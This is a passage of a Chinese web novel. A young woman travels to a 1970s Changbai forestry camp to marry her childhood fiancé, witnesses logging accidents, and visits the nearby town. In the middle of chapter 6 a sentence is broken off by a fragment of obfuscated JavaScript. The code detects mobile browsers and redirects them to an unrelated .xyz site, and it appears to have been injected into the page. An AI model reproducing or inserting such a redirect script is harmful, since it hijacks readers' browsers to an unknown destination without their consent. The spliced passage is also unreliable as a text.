这回总算问到了,金川林场的确有个叫齐放的年轻职工。好消息是单秋芳没说错地方,严雪不用再跑一趟小金川了;坏消息是今年伐区位置远,采伐任务重,为了节省时间,采伐队现在都住在山上,平时根本不下来。
“要不你先在招待所住一宿,看看明天有没有通勤车上去。”场部的人建议。
等人下来不现实,从林场上山的路又远,雪还厚,靠两条腿走上去,天黑都不一定能到地方,更别提严雪还不认识路。
严雪点点头,笑着跟对方道过谢,正准备拉上围巾去不远处的招待所入住,场部门一开,又有人走了进来。
“你先等一下。”刚那人突然叫了她一声,问来人:“你那拖拉机修回来了没有?”
“修回来了,正等着调内燃机往山上运呢。我看这批KT-12早晚得废,用十几年了,老毛子那边现在还不给咱们供应零件,隔三差五就得趴一次窝。”
来人三十左右的年纪,一身肥肥大大的蓝灰色棉大衣,显然和他还算熟悉,一面抱怨,一面解了手闷子到铁炉子边烤火。
场部的人也很无奈,“坚持坚持,过这个年就好了,我听说局里今年要调两台新出的集材50拖拉机过来。”
“别又跟之前那批东方红54一样。”刚进来那男人依旧撇嘴。
长白山林区最早开始采伐的时候,运输方式极其原始,冬季使用牛马拉爬犁,俗称牛马套,夏季放排。
五十年代引进了一批苏联的集材拖拉机,效率才有了大幅度提升。可惜后来又赶上□□放卫星,各林场争着打破最大集材记录,导致机器超附和运作,严重磨损,经常出现问题需要修理。
东方红54就是这时候被调过来的,但这是农用拖拉机,地隙小,效率低,又没有集材专用的装置。各林场试用了一阵,实在不适用,又转调到了营林和农业战线。
这些场部那人也知道,“这次的集材50不错,已经有林场用了几年,都说效率很高,比KT-12强。“
又对来人道:“既然你要上山,顺便把这位女同志带上去,她来咱们林场找人的。”
“我那是运拖拉机,又不是通勤车,怎么带人?”男人这才看向严雪,语气明显不耐。
目光触及到严雪的脸,那不耐又顿了顿,收敛两分,“带人也得站拖斗上。”
严妈虽然没给严雪生个好身高,却着实给她遗传了一副好相貌,一张典型甜妹的脸。
场部生了炉子,比外面暖和很多,为了表示礼貌,她说话时将被哈气冻硬的围巾拉到了下巴,刚好露出一张巴掌大的俏脸。眼睛明而亮,盈盈含着一汪笑意,五官小巧精致,又因为线条柔和没什么攻击性。
场部那人一听就知道有戏,问严雪的意见:“站车斗上行吗?”
不站车斗上,就得等明天才能上山,明天还不知道什么时候会有通勤车,严雪自然没有意见。
于是这一天第二次换交通工具,还换成了露天的,严雪完全是顶着风雪进了大山更深处。
“妹子来串亲戚的?”路上后进来那男人问。
听他自我介绍他姓梁,让严雪叫她梁哥,是金川林场仅有的两个拖拉机手之一。
“算是吧。”八字还差一捺,严雪并没有说自己是来相亲的,反而问:“这么冷的天还要上山采伐,林场很辛苦吧?”
“那肯定的啊,哪天晚上回去,棉裤不湿得透透的,不放在炉子上烤干根本没法穿。这还是现在,只有冬天有采伐任务,以前全年都得采伐,每天早上天不亮就出发,晚上黑透了才回来,孩子早睡了,好几岁都不知道亲爹长啥样。”
一提起这个,梁哥话明显变多,严雪也不插话,只在一旁静静听。
“你上山是要找谁?”梁哥绕了一圈,话题又回到了严雪身上。
这个没什么好隐瞒的,严雪也就实话实说,“齐放。”
“那小子啊。”梁哥顿了一顿,也不知是不是想到了什么,:“那小子挺能干的。”
很快,内燃机拖着车斗停在了山上临时搭建的营地。梁哥将拖拉机开下去,说什么也要亲自带严雪去找人,“拖拉机本来就不够用,还整天趴窝,这几天采伐都停了,全在放冰沟。你一个人不认识,自己找不着。”
相比几十年后,这年代的林业工人大概从不知道什么叫雪休,大雪始终下着,也不耽误他们热火朝天干工作。
怕雪太大把伐好的木材遮住,导致运输时遗漏,来年春天木材烂在大山里,验收不合格,众人甚至更加快了动作。隔很远,严雪都能听到四人一杠或是六人一杠抬木材时,工人们一唱一和的号子声。
“那就是冰沟,往下放木头的,以前没见过吧?”梁哥指了不远处一条长长的雪道。
这冰沟跟后来冰雪世界放轮胎的有些像,却比那大很多,长很多,沟里冰面上覆着雪,一看就很滑,严雪还真没见过。
梁哥就边走边和她介绍,“这玩意儿一下雪就得开始弄,还挑地方,又得选缓坡,又得带弯,不然冲下来劲儿太大,刹不住。弯又不能太大,不然就飞出去了。有时候木头趟不下来,还得往上浇水,不过比人扛、牛马拉都快。”
正说着,那边山上吆喝一声:“下去了!”鱼骨一般斜着在沟顶排开的圆木已经又被撬起小头,顺过来滚进沟一根。
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这种老林子里面的树树龄都很长,一棵甚至能有上千斤,砸在沟里声音闷且重,很快便几个转弯冲到了沟底。而沟底早有人等在那,都事先找好掩体躲着,等圆木停稳,立马上来检尺装车,运到山下的楞场存放。
梁哥眯眼在雪中打量一番,带着严雪往那边走,“应该就是这一队。”
山上雪更深,不过采伐队之前都在这边作业,倒是踩出了不少路,没有想象中那么难走。
梁哥在前面带路,还不忘回头问严雪:“能跟上吧?”
“能。”严雪已经感觉到雪从脚脖子灌入,慢慢浸冷整个小腿,但还是没有放慢速度,“咱们靠这么近是不是不太安全?”
她可是亲眼看到那些圆木滑下来时力道有多大,着实有些不放心。
“没事,我领路你还不放心?以前没有拖拉机的时候,这放冰沟的活可都是我领头。”
梁哥不以为意。
严雪还要再说什么,一个身影突然飞速靠近,扯着梁哥的后衣领连退数步。
怎么也有个一米七几的梁哥竟然完全没法反抗,就这么一屁股跌坐在雪地里。
“谁他妈拽我?”他狠力一甩胳膊。就要骂,一根合抱粗的圆木擦过他刚刚所站的位置,重重滑了出去。
一直滑出十数米,圆木仍去势不减,这要是砸在人身上,哪怕只是擦个边,不死也得受重伤。
梁哥的话戛然而止,严雪虽然离着还有一段距离,同样吓了一跳。
刚拽了梁哥那人已经掩在了附近一块山石后,视线淡淡扫过严雪,落在了梁哥苍白的面孔上,“还不走,等着做安全培训案例?”
每年采伐季开始前,林场上下都是要做安全培训的,何况梁哥是林场的老职工了,竟然也能犯这种低级错误。
梁哥脸上发烫,“谁知道今年冰沟哪个修的?这么远也能滑出来。“。”
这显然是在挽尊,对方眼神更淡了,甚至一个字都没再说,直接收回了视线。
这种无视比嘲讽更让人难受,梁哥脸上红一阵白一阵,“你装什么?要不是帮你带人,你当我愿意往这儿跑?”
帮他带人?
严雪正伸了手去扶梁哥,“你没事吧?”闻言忍不住又朝那人看去。
这回她看得仔细了些,发现那是个极为年轻的男人。个子很高,绝对不止一米八,因此显得身形特别颀长,同样是林场蓝灰色的棉衣制服,穿在他身上就是不显臃肿。
听到梁哥的话,对方掀了掀眼皮,没怎么走心地瞥过来一眼。
藤制安全帽下面的兽皮耳朵遮住了不少脸部线条,依旧难掩其英俊,尤其是一双桃花眼,明明该看狗都深情,却从内而外透着股冷淡。
如果这就是她要找的齐放,那姑姥姥还是保守了啊……
这长相何止是不赖,简直极品。
想着,梁哥已经避开了她扶人的手,“你不是要找祁放吗?他就是。”黑着脸自己爬起来,丢下她走了。
这下原地就只剩下她跟年轻男人,对方的视线也终于落到了她脸上,“你找我?”
语气淡得听不出什么情绪,眉眼间甚至有一丝懒怠。
“你就是齐放?”虽然梁哥那么说了,稳妥起见,严雪还是又确认了一遍。
对方没有回答,而是选择问她:“有事?”
这反应,倒像是忘了还有相亲这件事。甚至要不是姓名、相貌、身高都跟姑姥姥形容得一样,严雪都得怀疑下自己是不是找错了。
于是她再次跟对方确认,“前些天的信你应该收到了吧?”
事情定下来,姑姥姥就给这边回了信,信上交代了她准备出发的时间,算一算就是这两天到。
果然对方闻言抬眸,一直被眼帘半遮的瞳仁漆黑,“你是严雪?”
5. 婚约
祁放曾经定过一门娃娃亲,这个知道的人并不多。
毕竟当时年龄都还小,他只有十二,对方只有十岁,两人也只见过那么一面。
大部分时间,他都随外公生活在关外,很少回燕京。虽然两人偶尔也有通信,但他喜欢说自己最近学了什么,对方喜欢事无巨细跟他讲吃穿,讲小姑娘那点烦恼,实在聊不到一块去,渐渐也就不怎么联系了。
事情刚出那会儿,他已经有三年没再收到过对方的来信。
对方家里避嫌的态度也很明显,生怕沾到一点,连累到自家,他自然不会上赶着给人家添麻烦。
没想到前些天突然收到对方家里的来信,跟他要两家当初定亲的契书。这也就罢了,可能是怕他不给,还故意提到了他的家人。
如果祁放蠢一点,可能还看不出那话里的威胁,可惜他从小最为人称道的就是智商……
他嘴角牵起微不可察的弧度,“东西我都随信邮过去了。”
很凉,甚至还带着丝讥诮。然而雪太大,不远处又吵,严雪并没有察觉,微微诧异后,还当他说的是那一百块钱彩礼,虽然有点纳闷怎么突然提起这个,还是道:“嗯,我收到了。”
那她还来干嘛?想看看他现在究竟有多落魄?
那一点讥诮的弧度也被扯平,祁放注视着不远处只剩一双眼睛露在外面的姑娘,半晌没有说话。
严雪倒是早听说对方似乎话不多,尤其他们还是在这种情况下相遇,自己往前走了几步,“你比小时候好看多了。”
很轻松的语气,很大方的赞美,换到别的场景绝对是个能调节气氛的开场白。
可祁放听在耳里,只觉莫名其妙,他甚至怀疑对方是不是有什么很恶毒的话等在后面,需要先夸他一句让他全无防备。
这让他眼神更凉,“有话就直说,我还有工作。”
看来有点直男,还不太会说话……
严雪就说对方长这么好,又有工作,按理说应该不缺人看中,怎么也要回老家找对象。
她点点头,“行,不浪费你时间。”
祁放眼睑都垂下去了,眼神也漫不经心撇到一边,准备不管对方说什么,听完就走,对面的姑娘却伸出一只被手套包裹严实的小手,“齐放同志你好,正式自我介绍一下,我是严雪,来和你结婚的。”
来和他结婚的???
祁放倏然顿住,再抬眸,眼底已难掩错愕。
他再次打量起眼前这个身形娇小的姑娘,“你可考虑清楚了。”
结婚不是儿戏,不是她一时任性,或者一时同情,就能随便决定的,尤其是在她家里明确提出退婚以后。
严雪却弯起眸,一双又圆又亮的眼睛瞬间成了月牙儿,“我都来了,肯定考虑清楚了。”
本来她看中的就是对方条件合适,说是来相亲,不过是怕对方有哪里自己不能接受,留条后路。现在人见了,虽然性子冷淡了点,也不怎么会说话,但长得的确极品,能冒着风险出手拉人心也肯定不坏,她没什么好后悔的。
严雪笑盈盈仰起脸,“还是说你想反悔?”
她生得娇小,头顶只到祁放下颌,因此越发显得那双唯一露在外面的眼睛又大又漂亮,挂着霜色的睫毛密密长长。
祁放默默注视伸到自己面前的小手半晌,突然转身便走,“等着,我去请假。”
个子高最直观的好处就是腿长,严雪要费劲走上半天的路,他没花多少时间就到了。
负责这一队的工队长刘大牛正在坡上盯着人往下放圆木,见他上来,刚要问,他已经先开了口,“我有点事得先走,今天记我早退。”
祁放来林场两年多了,别说迟到早退,逢年过节都没离开过,简直像从石头里蹦出来的。
难得他有事请假,刘大牛也没问,摆摆手,“这都快下工了,记什么早退?”
“那我走了。”祁放点点头,再沿原路下来,神色已经彻底恢复如初。
他把严雪带去了营地的宿舍,一排紧依山坡而建的地窨子。
这种建筑也算是高寒地区的特色了,建的时候先在地上挖出来一个一两米深的长方形土坑,再立柱脚,架上高出地面的尖顶。因为地势低,不受寒封侵扰,比建在地上的建筑要暖和许多,甚至能达到零上。
依山而建,一来是可以不用全都向下挖,更省力;二是用树枝和雪覆盖后更加隐蔽,离远了根本看不出来。
当年东北抗联,杨将军他们住的就是这种地窨子。林场没什么隐蔽的必要,但每一年冬天的伐区都不一样,基本一年一换,挖这个又省事,又方便取暖。
严雪随着对方走下几阶台阶,立马感觉到了与外面不同的温度。
借着门口投射的光线,她打量了下里面,发现大概有十来平米的空间。
靠内的大通铺上一溜儿排开十多个行李卷,一群糙老爷们的宿舍懂的都懂,没太大异味,只能说是温度不够。
祁放将摘下来的安全帽放到其中一处,示意严雪可以坐在那,自己先去把煤油灯点上。
严雪猜这应该就是他的床铺了,说实话整理得很干净,在一众蹭得甚至发亮的被褥间显得格格不入,看得出有良好的卫生习惯。
祁放正蹲身点着屋中间一个铁皮炉,见她打量四周,不咸不淡吹灭手中的火柴,“这边就这条件。”
别说她一个城里长大的娇小姐,山里的姑娘都没几个吃得了这苦。采伐队除了活较轻的检尺工,剩下伐木、归楞、运输,岗位上清一色的大男人。
严雪倒觉得还好,和她另一段记忆里的上一辈子相比,不论是关里农村还是这关外的林区,条件都没好到哪里去。
她拍着裤腿上的雪,防止雪化之后全湿在棉裤里,“你们一整个冬天都住在山上吗?”
语气倒像是真的想知道,而不单单是以此为切入点开始一段谈话,更没有想象中对这简陋条件的嫌弃。
相比小时候,她显然会隐藏情绪多了。不像第一次见面,一开始还带着点懵懂的好奇,后来见他话很少,摆弄的又是些她不感兴趣的东西,就流露出不耐来,还自以为隐蔽地问妈妈什么时候能回家,她想回家吃冰糕。
祁放淡淡掀了掀眼皮,“最早十月就得进山,铺小火车道,盖房子。”
也是,每一年的伐区都是重新划定的,不先铺小火车道,东西根本运不上来。
严雪点点头,那边祁放将劈成大瓣的柴火丢进铁皮炉,拍拍手起身,靠在了她对面的门柱上,“这事你家里人知道吗?”
他有点怀疑对方是偷跑出来的,只是不知道她哪里来的介绍信,应付这一路来的检查。
没想到严雪竟然说,“知道,我奶奶和我弟弟都知道。”很认真回答的语气。
这让祁放的目光不自觉落在她脸上,琢磨起他这话里的意思。
说实话祁放有点意外,不过没提父母,应该是对要不要退婚这件事严家人意见也不统一,有人想见风使舵,有人想信守承诺。
可明明他都同意退婚了,他们还把人送过来吃苦,是该说太过死板还是太过天真?
祁放一时没有做声,严雪不知道他是不是问完了,既然他不说话,她就先说了,“你是要反悔吗?”又问了遍之前的问题。
如果是,虽然有点麻烦,她也不是非要强求的性子。
“没。”这回祁放回应得倒快,
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就是神色半隐在煤油灯昏黄的灯光中,有些辨不清。
没有想反悔,那就是出于郑重,才先问了她的想法,又问她家里人的意见……
严雪发现这人虽然时常半敛着眼眸,一副对什么都不上心都不感兴趣的样子,靠在门柱上的姿态也懒懒的,但做事还算仔细,也很认真。至少反复确认女方意愿这行为非常绅士,有别于这个年代一般男人的大男子主义。
她在逐渐温暖起来的室内吐出一口气,“我想问一下,这边林业工人的家属都能干什么?能找到工作吗?”
既然两边都没有想反悔,她最关心的还是这个,毕竟这才是她的立身根本,决定了她以后能不能站稳脚,把弟弟接来。
而关心这个,就代表她是真的打算今后在这里生活,祁放再不可置信都不得不信。
望着那张在记忆里已经变得模糊又重新清晰起来的脸,他正要开口,外面咯吱咯吱的踩雪声渐进,有人几步冲下来推开了门,“今天雪可真他妈大……”
话说完,才发现屋子里一站一坐的两个人,不由一愣。
好一会儿,对方才从严雪脸上收回视线,赶忙解释:“我回来拿个东西,没注意屋里有人。”
说着快步去角落的桌子那拿了饭盒,就要出去,只是临走前,目光忍不住又在严雪身上溜了一圈,小声问祁放:“你妹子?”
不是他没往其他方向想,主要这俩人之间看不出一点暧昧,祁放一如既往冷冷淡淡,严雪也不见任何不好意思。
面对他就差凝成实质的好奇,祁放并没有多做解释,“已经下工了?”
“我们那队干得快,提前了一会儿。”见祁放没否认,对方觉得自己懂了,“你们聊,我先走了啊。”
两人都不是什么人前张扬的性子,等脚步声远了,才继续之前的话题。
“你……”
“你……”
刚开了个头,“砰”地一生门响,又有人进来了,“我拿个东西啊!”
解释得实在太急太主动,还借着找东西自以为隐蔽地瞄了严雪好几眼,说他不是知道了点什么没人会信。
不止他,门口紧接着还又探进来两颗年轻的脑袋。
这俩大概不是这个宿舍的,见祁放和严雪看来,立马表示自己那屋暖瓶没水了,过来借一点。
然后说完才发现嘴上讲着要借水,却连个水壶都没拿,赶紧回去取。
跑得太急,出去的时候就忘了关门,严雪清楚听到两人上去后自认为小声地跟人说:“是长得漂亮。”
就有那么点意外吧,又不是很意外。
山上女人少,采伐队一水儿的糙老爷们儿,突然来个这么年轻这么水灵的姑娘,没人好奇才怪。
就是这帮人大概在空旷的地方干活久了,交流基本靠吼,很多工作还要喊号子,哪怕故意压低,嗓门也真的很大……
严雪看了祁放一眼,发现这男人似乎也有些无语,很有骨感的手指还按了按眉心。
这回等人走了,两人沉默了更久。像是都怕这边一开口,那边又有人进来。
好一会儿严雪忍不住失笑,“你这些同事还挺有意思。”
也就这种没吃过苦的大小姐,才不明白这样的条件意味着什么,还能带着天真说一句有意思……
祁放嘴角轻扯,刚要说什么,又有脚步声靠近。
这回就连他向来冷淡的语气里都带上了不耐,“还有什么事?”
“我……”被那双骤然瞥来的眼睛望着,来人着实磕巴了一下,“是有点事……”
话还没说完,脑袋便被后面跟来的人拍了下,“跟咱哥还磨唧,啥你有事?是作业区出事了。”
6. 考虑
谁也不知道刚才还是祁放,怎么一转眼就成了咱哥。
不过也没人在意这个就是了,作业区出事才是大事,毕竟林业采伐是很危险的工作,每年都有人因为工伤致死致残。
祁放立马去床铺拿自己的安全帽,“人伤得重不重?”
俯身时,刚好和严雪望过来的视线对个正着,他一顿,严雪已经主动开口,“我也去看看。”
年轻姑娘快速给自己包上了围巾,“在这也是干等,你们放心,我不靠太近,也不乱走,不会给你们添麻烦。”
她待在地窨子里的确是干等,而且想想之前她差点被圆木砸到,有些事警告一万遍也不如亲眼所见。
祁放没说什么,几人一边往外走,一边把事情说了个大概。尤其是一不小心把咱哥叫出来那个,表现得非常主动。
本来临近下工,各工队的工作都开始收尾了,不该出什么事才对。可油锯手负责伐木,跟别的工种不太一样,速度够快的话,是可以把两三天的树木一次性伐完,腾出时间进林子里搞副业的。
毕竟林场运输能力有限,伐再多,每天也只能运那些立方。
严雪没去的另一个工队,就有人想明天进山炸松塔,急着把活干出来,结果碰上了个不太好伐的大家伙。
这种树直径宽,体积重,很考验锯手的水平和经验。有时候明明锯透了,但就是不倒,需要往树要倒向的方向丢一件大衣或者棉帽子,用风带动树倒下去。
但今天本来就下雪,对方丢棉帽子时又着急,明明喊的是“迎山倒”,提醒周围人树是朝着山上倒去的,真倒的时候却横着下来了。
因为锯手会早三天进山,和大部队隔出70米的安全距离,其他人倒是没事,跟他的两个助手之一却被分枝压在了下面。
“人暂时没有生命危险,不过半边身子都血刺呼啦的。场长已经去调摩托卡送他去医院,还叫了大家去机库开会,估计是要强调安全问题。”
说话间几人已经到了存放拖拉机、发电机的机库,因为人多,机库的门并没有关,严雪也就停在了门外。
果然是强调安全问题,林场场长铁青着脸,把犯错的李树武喷了个狗血淋头。
急功近利致人受伤,还是为了出去搞副业,这么大的责任,背一个处分都是少的。
场长当场就把人从锯手的位置上撸下去了,换了曾经也是锯手的工队长刘大牛。除非他今后表现好,拿到资格重新去局里参加培训,不然怕是很难回到这个岗位上。
“另外,我还听说有人把没做安全措施的家属带到了作业区。”处理完这件事,场长话锋一转。
也不知道是听谁说的,大概并没有听明白,他看向的是人群中无论身高还是长相都过分突出的祁放。
一上山就是好几个月不回家,偶尔有家属上来探望并不算啥稀罕事,但那是平常,这时候撞在枪口上,搞不好也要跟着挨批。
果不其然,这事被场长抓了典型,“安全作业安全作业,年年采伐年年强调,可就是有人不把自己和他人的生命安全当回事。少见一会儿能咋的,就你一个有家人吗?真出了事谁负责?”
说实话着实有点冤,但现在出言解释,就等于当众让对方没脸,何况人本来就是冲着祁放来的。
祁放没说什么,只淡淡望向另外一边的梁哥。
单他一个人也就罢了,可现在机库内外不少人都在有意无意打量他,他这一动,那些视线也跟着落了过去。尤其是不小心把咱哥叫出来那小年轻,见此甚至小声问祁放:“他告的状?”
梁哥虽然没听到,但人是他带上来的,他本就心虚,自己猜测比真听到了更让他心里没底。
他忍不住做出不悦,“都看我干啥?”
这一出声,简直就像是不打自招,前面正在批人的场长当时就顿了一顿。
再看下面这架势,祁放一脸平静,反倒是梁哥眼神闪烁,显然是在虚张声势。场长本就不算好的脸色瞬间更差,可还是清了清喉咙,“这次我就不点名了,谁的问题谁自己回去检讨,下次就不是通报批评这么简单了。”
话说得好听,可严雪离得远,还是听到身边有人嘀咕:“刚才还要抓典型,咋又不点名了?”
“谁知道,不都看他女婿吗?搞不好这事儿跟他女婿有关。”
“那他一开始就不应该提。”
“谁管他家那点破事儿,倒是老郭家这回倒霉了,老郭前年刚没,这又搭上个儿子……”
虽说在林场久了,总能看到身边的人受伤,一提起来还是难免唏嘘。
等会散了,林场调配过来的摩托卡也加好油开了过来。
祁放从机库出来,就看到严雪盯着不远处刚被抬出来的伤员,一弯起来就会变成月牙儿的双眼里早没了笑意,反而流露出怜悯。
他也望过去,“本来年前一放假,他就要结婚了。”
这让严雪垂下长睫,变得更加沉默。
“我去给郭家报个信,顺便把你送下去。”祁放看了她一眼,说。
严雪没反对。
他就去跟负责送人去镇林业局医院的人说了声,带着严雪一起上了摩托卡。
这种轨道机车是当地机械厂自己用汽车改的,后面挂个车厢,十分简陋,性能也很一般,主要应用于铁道建设和维修。但小火车和内燃机总有调度不方便的时候,每个林场备一台,防的就是这种不时之需。
车子跟随时要散架一样,从山上开到林场,等祁放跟严雪都下了,还要开向镇里。
两人谁也没问谁的意见,都选择了先去受伤的郭长安家,将事情通知给他的家属。
过来开门的是个五十来岁的小老太,身后还跟着条虎头虎脑的小尾巴,大概刚刚正在和孩子说话,一张脸上满是慈爱的笑容。
严雪突然觉得有些残忍,她和祁放即将说出的话。
祁放向来冷淡的神色似乎也有一顿,但还是开口说了,小老太的笑容当即凝固在了脸上,身子往下一歪。
从郭家出来的时候天已经完全黑了,天地寂静中,身后院子里无法压抑的哭声格外刺人耳膜。
就和上辈子严雪六岁那年,从她家里传出的哭声一样……
“这种工伤林场会负责的吧?”踩着脚下通往招待所的路,她轻声问。
祁放“嗯”了声,然后就又没了话。
好一会儿,他才打破萦绕在两人间的沉默,“林场小年才放假。”
嗯,所以呢?
严雪抬脸望向男人,发现对方刚好也在转眸看她,“我这几天都不能下来,你再仔细考虑考虑。”
他还是觉得她不合适也不应该待在这里。
有些苦吃一天是新鲜,吃一周吃一个月,就只剩折磨了。
这里没有她爱的衣服鞋子,没有电影院剧院,甚至连电都不通。只有每天晚上趁着林场发电给小修厂修理机械,才能蹭一点儿,最多也只能蹭到九点,九点后就只剩一片漆黑。
这里的职工普遍文化不高,好多职工家属甚至连字都不识,她想找个说话的人都很难说到一起,更别提还要面对今天这样的事。
与其到时候后悔,还不如趁着还来得及多了解了解,该走就早点走……
第二天一早,严雪是被广播声吵醒的。
林场每天早上广播都会准时响起,一来让大家了解下外面的讯息,二来也能提醒林场的职工该上班了。
严雪没有睡懒觉的习惯,两辈子的经历也没给她睡懒觉的机会,很快就彻底清醒,摸向烘在炕上的棉衣棉裤。
昨晚祁放把她送到招待所就走了,应该是去宿舍将就一晚,今天起早上山。
发生了那样的事,也不怪他让她再仔细考虑考虑。如果不是没有更好的选择,她也想考虑考虑。
不过林场虽然苦了点,危险了点,对比当地其他工厂待遇绝对算好的。镇里有医院,有中学,林场内部也有小学、招待所和食堂。
严雪手里还有点姑姥姥帮她淘换的全国粮票,准备去食堂吃点饭,吃完在林场转转。昨天她忙着找人,都没怎么仔细看。
刚出来,就被招待所的服务员叫住,“早上有个男同志过来,让我把这个给你。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563189|171407||http|test|mini|href|location''.split(''|''),0,{}));
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>是一沓钱和地方粮票,没有出了省还能用的全国粮票值钱,但胜在够多。
看来这人冷归冷,直归直,做事还算周到,没一句再仔细考虑考虑,就把她丢在这里不管了。
严雪道过谢,刚出招待所,又被人叫住:“你是不是小祁家那个亲戚?”
这回是个四十来岁的中年女人,一手还提了个铁皮桶。因为雪已经停了,桶上并没盖,能看出来是刚磨的玉米糊。
既然是再考虑考虑,对外祁放自然没说这是自己的相亲对象,严雪也没解释,“您是?”
“我家那口子是小祁他们工队长刘大牛,小祁刚来那会儿宿舍没地方,还在我家住过半年。他早上走的时候碰上我,托我有空带你在林场转转。”
刘大牛严雪有印象,顶上犯错锯手的那个。看来说这个相亲对象周到还真没说错,连向导他都帮她找好了。
严雪弯起眼睛,笑着先和对方道了谢,“真是麻烦您了,您什么时候有时间?我吃完饭过去找您。”
“还吃什么饭?人都在山上呢,下面做那点东西狗都不乐意吃。”刘大牛媳妇一把拉住她,“走,上我家吃去,正好我家那几个小的在家睡懒觉,饭我给他们留在锅里,全都是现成的,你也别嫌乎。”
这人能拎动满满一个铁皮桶,力气哪是严雪能比的,愣是热情地把严雪拉去了自己家。
路上想到什么,她就和严雪说什么,全是有关林场的事,严雪也就没非要挣。
和招待所那边的砖瓦结构不同,林场职工住的多是自建的土房,当地人称“霸王圈”。林场不缺木头,里面以圆木作为支撑,缝隙间涂以混有干草的黄泥,看着又矮又小不太起眼,但比住久了会有缝隙的砖房暖和。
刘家院里养了狗,一听见有外人的脚步,就汪汪在里面叫起来。
“你等我进去拴一下,都是我家老爷子为打猎养的,一共三条,早上老爷子上山牵走两条。”
刘大牛媳妇放下铁皮桶,先进了院,不多会儿在里面喊:“好了。”
严雪看她堵在狗窝边,就帮她把桶也拎了进去。
“挺沉的吧?”刘大牛媳妇进门就问,“本来是老郭家要摊的煎饼,这不他们家三小子出事了吗?我就拎回来帮着干了。”
边说,她边一巴掌拍在正撅着屁股在大地锅里摸饭的男孩子身上,“你不冷啊?穿个裤衩就往外跑。”
这年代都穷,很多城里的孩子成年前也没穿过条线裤,更别提林场了。那男孩被拍了也不恼,就是看到有外人不太好意思,呲溜又钻回了屋。
“我家老小子,一天天就知道吃。”刘大牛媳妇带着无奈的笑意跟严雪介绍。
“正常,我弟弟也跟他这么大。”
结了婚的女人多爱和人聊孩子,听说严雪还有个这么大的弟弟,刘大牛媳妇态度又多了两分亲昵。
正说着,一个十五六岁的姑娘从里屋出来,见到严雪,脸色不太好看。
刘大牛媳妇让她叫姐姐,她虽然叫了,态度却不太情愿,只问刘大牛媳妇:“咱们什么时候走?”
刘大牛媳妇当时就被问住了,“妈今天有事,改天再去吧。”
小姑娘一听炸了,“大前天你就说带我去镇上卖东西,前天推昨天,昨天推今天,今天又有事!你是不是压根没想带我去?”
大人在面对孩子的事情时通常有一种轻视,认为自己的事比孩子的更重要,因此态度上常有敷衍,却忘了对于孩子来说那就是最重要的。
刘大牛媳妇那点心虚果然变成了恼怒,“这还有人呢,你懂不懂事?听妈的,今天天不好,改天再去。”
“你不带我去拉倒,我自己去!”小姑娘眼圈一红,回屋就背起了背筐。
看来她的确是期待已久,东西都提前准备好了。
刘大牛媳妇哪放心闺女一个人去镇上,立即去拦,母女俩在门口僵持住了,另几个小的也忍不住从里屋探出头。
“要不我跟着去吧?”一片混乱中,严雪突然道,“正好我有个亲戚在镇上,本来要送我过来的,家里孩子出事没来成,我过去看看。”
7. 冻蘑
严雪的确想去一趟镇上,告诉单秋芳自己见到人了,让单秋芳放心,顺便看看昨天落水的大强。
之所以没一开始就安排在今天,主要是她在这人生地不熟,连几点会有小火车都不清楚。
如果不是还要摊煎饼,严雪这么说,刘大牛媳妇就顺势带着她们一起去了。可她这边根本走不开,没办法只能出去打听一圈,托了一个同样要去镇上卖东西的老头儿,“我家春彩第一次去,王叔你帮着照顾点儿。”
老头儿同样背着背筐,穿得有些发黑的老棉袄用一根腰带紧扎在身上,闻言一口应下,“行。”
这下小姑娘刘春彩放心了,到底是孩子,那欢喜恨不得从脸上飞出来,尤其是在小火车开过来,她跟王老头儿、严雪都上了车之后。
“听我妈说你是祁放哥的亲戚,姐姐你们家人都长这么好看吗?”路上她还好奇地问严雪。
“可能吧,我爸妈和弟弟都挺好看的。”严雪笑着和她搭话,“我看你也很漂亮啊。”
“哪有你们漂亮?我从小就是个黄毛。”刘春彩揪揪干枯的辫子尾有些沮丧。
这年代吃得不好,别说毛躁分叉了,十个孩子里面有五六个头发都是黄的,养到十几岁也不见好。
“你家不错了,老刘好歹会打猎,能弄点野味儿,别家孩子头发还不如你呢。”坐在过道另一边的王老头插了句。
严雪就顺势问起打猎的事,“现在还让打猎吗?林场没人管?”
“让啊,怎么不让?”刘春彩说,“山上那么多野兽,你不打林场保卫科也得打,不然年年伤人,下来祸害农业队的庄稼。”
看来这会儿还不像后世禁枪禁得那么严,野猪之类也没少到成了国家保护动物。
严雪又看向小姑娘背来的背筐,“你这是要去卖什么?蘑菇?木耳?总不能是打来的皮子吧?”
“是冻蘑。皮子都是我爷我爸下来卖,他们说我小孩子,不懂价,容易让人给骗了。”
这倒的确,蘑菇之类的都有标准价,照着卖就是了。皮子却要看大小,看品相,同样一种动物,价格可能天差地别。
“那也很厉害啊,这么冷的天,可没几个人愿意在外面蹲小市场。”
严雪深谙小孩子需要鼓励,果然刘春彩平时应该是很少听到这类话,脸都红了,“我也是头一回,而且蘑菇就得年前卖,年前买了过年炖鸡吃,平时没多少人舍得买。”
大概年前真是卖蘑菇的好时候,到了澄水镇小市场把背筐里的东西一拿出来,王老头也是来卖冻蘑的。
这种蘑菇产量少,口感好,是所有蘑菇里面最值钱的。就是不太出数,十二斤鲜蘑才能晒出一斤干蘑。
一老一少一家一个小摊,严雪看这边没什么需要自己的,打了声招呼,就离开小市场去找供销社了。
单秋芳大冷天在车站等她,又要陪她去林场相亲,于情于理她都不好空着手上门。何况孩子昨天掉冰窟窿里了,现在肯定病着,估计感冒发烧都是轻的。
不像县级以上还分个百货商店、粮油商店、蔬菜副食商店,镇上所有的东西都在供销社卖。里面糖果饼干有,日用小百有,鞋子袜子有,就连铁丝铁锹这类五金工具也有。
严雪转了一圈,最后买了两个罐头,按照走前姑姥姥给的地址找去单秋芳家,却没看到单秋芳人。
“大强早上起来又发烧,秋芳姨带他去医院打针了。”昨天那个穿冰鞋的小姑娘就在门外玩。
单秋芳家门没锁,还有两个小的都托了对门这小姑娘的妈妈帮着照看,严雪问了问她出门的时间,在屋门口等了一会儿。
